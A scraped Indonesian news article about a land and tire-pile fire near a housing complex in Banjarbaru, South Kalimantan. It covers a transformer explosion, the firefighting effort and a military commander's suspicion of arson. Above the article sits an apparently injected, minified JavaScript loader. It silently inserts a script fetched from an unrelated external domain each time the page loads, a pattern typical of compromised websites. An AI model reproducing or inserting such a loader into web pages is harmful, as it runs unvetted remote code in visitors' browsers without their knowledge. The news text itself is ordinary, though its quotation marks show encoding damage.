(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Warga Kelurahan Sungai Ulin dikejutkan dengan asap pekat hitam membumbung tinggi di langit kota Banjarbaru. Ya, peristiwa Karhutla kembali terjadi di dekat pemukiman rumah warga di Komplek PPI II, Kelurahan Sungai Ulin, Kecamatan Banjarbaru Utara, Rabu (18/9) sekitar pukul 13.45 Wita.
Dari pantauan Kanalkalimantan.com saat mendatangi ke lokasi kebakaran, asap pekat hitam begitu telihat dari kejauhan. Tak ayal, banyak pengendara jalan yang mengikuti arah munculnya asap tersebut karena menduga ada bangunan yang terbakar hebat.
Setibanya di lokasi, tercium aroma bau karet terbakar yang sangat menyengat. Rupanya api membakar sebuah lahan yang terdapat tumbuhan-tumbuhan kering dan tumpukan ban yang tidak terpakai.
Salah satu warga sekitar, Maji (47) mengatakan, dirinya baru mengetahui terjadinya kebakaran saat melihat asap hitam yang tebal berada di belakang rumahnya.
Dirinya menuturkan, asap hitam tersebut berasal dari tumpukan ban yang terbakar, dimana telah lama ditinggal oleh pemiliknya dan sudah tidak bertempat tinggal di lokasi tersebut.
“Ban-ban ini sudah lama ditinggal dan dibiarkan terbengkalai begini,†katanya.
Dari keterangan warga sekitar lainnya, api awalnya hanya membakar lahan di pinggir jalan komplek. Namun, angin yang cukup kencang saat itu menyebabkan api dengan cepat meluas hingga berjarak sekitar 200 meter saja dari pemukiman rumah warga.
Bahkan, salah satu trafo di komplek tersebut itu pun ikut meledak karena dikelilingi amukan api. Beruntungnya, warga yang sudah memperkirakan kejadian itupun langsung mematikan seluruh listrik di masing-masing rumah.
“Jadi sebelum trafo meledak, kami sudah mematikan listrik di rumah. Kami sudah tahu kalau itu akan meledak,†lanjut Maji.
Alhasil, seluruh perumahan di sekitar lokasi kebakaran pun mengalami mati listrik sementara ini. Petugas pemadam yang berdatangan pun melakukan penyiraman, terhadap trafo tersebut agar tidak mengeluarkan asap lagi. Sebab dikhawatirkan akan terjadi ledakan susulan.
Kurang lebih dua jam bergelut di tengah asap hitam pekat tebal, petugas Damkar gabungan dari Kota Banjarbaru dan Kabupaten Banjar akhirnya berhasil menaklukan si Jago Merah.
Dandim 1006/ Martapura Letkol Arm Siswo Budiarto yang ikut berperan langsung dalam proses pemadaman api, mengecam atas terjadinya perisitiwa ini. Pasalnya, api sendiri sudah hampir mengenai rumah warga sebelum Petugas Damkar dan pihak TNI tiba di lokasi.
“Untung anginnya berlawanan arah dengan rumah warga, jadi apinya tertahan. Coba, kalau tidak. Sudah kita dapati rumah warga ini hangus terbakar,†bebernya.
Menurut analisa Letkol Arm Siswo Budiarto, peristiwa kebakaran ini dilakukan secara sengaja oleh warga. Apalagi indikasi ini juga diperkuat dengan adanya kesaksian dari ibu-ibu disekitar lokasi kejadian yang melihat seseorang yang mencurigakan.
“Dugaan sementara, tapi masih kita lakukan penyelidikan. Saya mengimbau, jangan sekali-sekali membakar hutan dan lahan karena hukumannya sangat berat. Yang paling penting, perisitwa ini sangat merugikan masyarakat,’ lugasnya. (rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.